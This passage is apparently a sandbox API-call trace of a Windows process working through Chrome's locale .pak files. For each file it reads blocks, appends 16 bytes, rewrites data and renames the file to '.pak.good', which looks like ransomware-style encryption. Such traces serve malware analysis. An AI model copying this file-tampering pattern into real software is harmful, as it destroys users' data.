0x1 [0100.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0100.669] GetFileType (hFile=0x768) returned 0x1 [0100.669] WriteFile (in: hFile=0x768, lpBuffer=0x336d040*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x336d040*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0100.670] CloseHandle (hObject=0x768) returned 1 [0100.670] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak", lpFilePart=0x0) returned 0x4c [0100.670] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak.gоod", lpFilePart=0x0) returned 0x51 [0100.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0100.670] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\cs.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4515ed1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4515ed1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3836a535, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4819c)) returned 1 [0100.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0100.670] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\cs.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\cs.pak.gоod")) returned 1 [0100.671] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak", lpFilePart=0x0) returned 0x4c [0100.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0100.671] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\da.pak"), fInfoLevelId=0x0, lpFileInformation=0x354b3b8 | out: lpFileInformation=0x354b3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5185e724, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x40d21)) returned 1 [0100.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0100.671] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak", lpFilePart=0x0) returned 0x4c [0100.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0100.672] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\da.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0100.672] GetFileType (hFile=0x768) returned 0x1 [0100.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0100.672] GetFileType (hFile=0x768) returned 0x1 [0100.672] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0100.672] ReadFile (in: hFile=0x768, lpBuffer=0x354b7d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x354b7d0*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0100.673] CloseHandle (hObject=0x768) returned 1 [0100.673] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak", lpFilePart=0x0) returned 0x4c [0100.673] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0100.673] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\da.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0100.674] GetFileType (hFile=0x768) returned 0x1 [0100.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0100.674] GetFileType (hFile=0x768) returned 0x1 [0100.674] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x40d21 [0100.674] WriteFile (in: hFile=0x768, lpBuffer=0x354cac8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x354cac8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0100.675] CloseHandle (hObject=0x768) returned 1 [0100.675] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak", lpFilePart=0x0) returned 0x4c [0100.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0100.675] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\da.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0100.676] GetFileType (hFile=0x768) returned 0x1 [0100.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0100.676] GetFileType (hFile=0x768) returned 0x1 [0100.676] ReadFile (in: hFile=0x768, lpBuffer=0x354edc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x354edc8*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0101.251] CloseHandle (hObject=0x768) returned 1 [0101.251] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak", lpFilePart=0x0) returned 0x4c [0101.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0101.252] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\da.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0101.252] GetFileType (hFile=0x768) returned 0x1 [0101.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0101.252] GetFileType (hFile=0x768) returned 0x1 [0101.252] WriteFile (in: hFile=0x768, lpBuffer=0x33a8920*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x33a8920*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0101.252] CloseHandle (hObject=0x768) returned 1 [0101.252] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak", lpFilePart=0x0) returned 0x4c [0101.252] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak.gоod", lpFilePart=0x0) returned 0x51 [0101.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0101.252] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\da.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x38910920, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40d31)) returned 1 [0101.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0101.253] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\da.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\da.pak.gоod")) returned 1 [0101.253] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak", lpFilePart=0x0) returned 0x4c [0101.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0101.253] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\de.pak"), fInfoLevelId=0x0, lpFileInformation=0x3565f68 | out: lpFileInformation=0x3565f68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51871fa4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3d776)) returned 1 [0101.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0101.254] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak", lpFilePart=0x0) returned 0x4c [0101.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0101.254] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\de.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0101.254] GetFileType (hFile=0x768) returned 0x1 [0101.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0101.254] GetFileType (hFile=0x768) returned 0x1 [0101.254] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0101.254] ReadFile (in: hFile=0x768, lpBuffer=0x3566380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3566380*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0101.256] CloseHandle (hObject=0x768) returned 1 [0101.256] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak", lpFilePart=0x0) returned 0x4c [0101.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0101.256] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\de.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0101.256] GetFileType (hFile=0x768) returned 0x1 [0101.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0101.256] GetFileType (hFile=0x768) returned 0x1 [0101.256] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x3d776 [0101.256] WriteFile (in: hFile=0x768, lpBuffer=0x3567798*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3567798*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0101.257] CloseHandle (hObject=0x768) returned 1 [0101.257] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak", lpFilePart=0x0) returned 0x4c [0101.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0101.257] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\de.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0101.257] GetFileType (hFile=0x768) returned 0x1 [0101.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0101.258] GetFileType (hFile=0x768) returned 0x1 [0101.258] ReadFile (in: hFile=0x768, lpBuffer=0x3569a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3569a78*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0102.000] CloseHandle (hObject=0x768) returned 1 [0102.000] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak", lpFilePart=0x0) returned 0x4c [0102.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0102.000] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\de.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0102.000] GetFileType (hFile=0x768) returned 0x1 [0102.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0102.000] GetFileType (hFile=0x768) returned 0x1 [0102.000] WriteFile (in: hFile=0x768, lpBuffer=0x33dc938*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x33dc938*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0102.001] CloseHandle (hObject=0x768) returned 1 [0102.001] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak", lpFilePart=0x0) returned 0x4c [0102.001] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak.gоod", lpFilePart=0x0) returned 0x51 [0102.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0102.001] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\de.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3903798d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3d786)) returned 1 [0102.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0102.001] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\de.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\de.pak.gоod")) returned 1 [0102.001] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak", lpFilePart=0x0) returned 0x4c [0102.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0102.002] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\el.pak"), fInfoLevelId=0x0, lpFileInformation=0x35d6eb0 | out: lpFileInformation=0x35d6eb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5189b7b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x7f4d9)) returned 1 [0102.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0102.002] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak", lpFilePart=0x0) returned 0x4c [0102.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0102.002] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\el.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0102.002] GetFileType (hFile=0x768) returned 0x1 [0102.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0102.002] GetFileType (hFile=0x768) returned 0x1 [0102.002] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0102.002] ReadFile (in: hFile=0x768, lpBuffer=0x35d72c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x35d72c8*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0102.004] CloseHandle (hObject=0x768) returned 1 [0102.004] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak", lpFilePart=0x0) returned 0x4c [0102.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0102.004] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\el.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0102.004] GetFileType (hFile=0x768) returned 0x1 [0102.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0102.004] GetFileType (hFile=0x768) returned 0x1 [0102.004] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x7f4d9 [0102.004] WriteFile (in: hFile=0x768, lpBuffer=0x35d86d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x35d86d0*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0102.006] CloseHandle (hObject=0x768) returned 1 [0102.006] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak", lpFilePart=0x0) returned 0x4c [0102.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0102.006] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\el.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0102.006] GetFileType (hFile=0x768) returned 0x1 [0102.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0102.006] GetFileType (hFile=0x768) returned 0x1 [0102.006] ReadFile (in: hFile=0x768, lpBuffer=0x35daaa8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35daaa8*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0102.455] CloseHandle (hObject=0x768) returned 1 [0102.456] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak", lpFilePart=0x0) returned 0x4c [0102.456] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0102.456] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\el.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0102.456] GetFileType (hFile=0x768) returned 0x1 [0102.456] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0102.456] GetFileType (hFile=0x768) returned 0x1 [0102.456] WriteFile (in: hFile=0x768, lpBuffer=0x343f228*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x343f228*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0102.718] CloseHandle (hObject=0x768) returned 1 [0102.718] GetFullPathNameW (in: 